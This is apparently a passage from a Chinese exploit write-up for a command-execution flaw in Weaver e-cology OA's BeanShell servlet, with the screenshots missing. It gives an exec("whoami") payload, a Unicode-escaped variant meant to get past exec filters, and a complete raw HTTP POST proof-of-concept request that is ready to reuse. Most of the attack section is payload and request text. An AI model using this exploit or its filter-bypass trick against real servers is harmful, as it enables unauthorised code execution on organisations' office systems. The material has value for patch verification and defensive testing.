http://oa.xxxx.com/weaver/bsh.servlet.BshServlet
泛微e-cology OA 命令执行(漏洞复现附POC)(图2)

0x02 输入payload

exec("whoami");
输入命令执行函数，传入cmd命令，查看回显是否成功执行
泛微e-cology OA 命令执行(漏洞复现附POC)(图3)

0x03 将exec进行Unicode编码绕过部分站点exec过滤

\u0065\u0078\u0065\u0063("whoami");
泛微e-cology OA 命令执行(漏洞复现附POC)(图4)

  • POC:

POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Connection: close
Cookie: JSESSIONID=abca1it_jdsz2a73pnH1w; testBanCookie=test
Upgrade-Insecure-Requests: 1

bsh.script=ex\u0065c("whoami")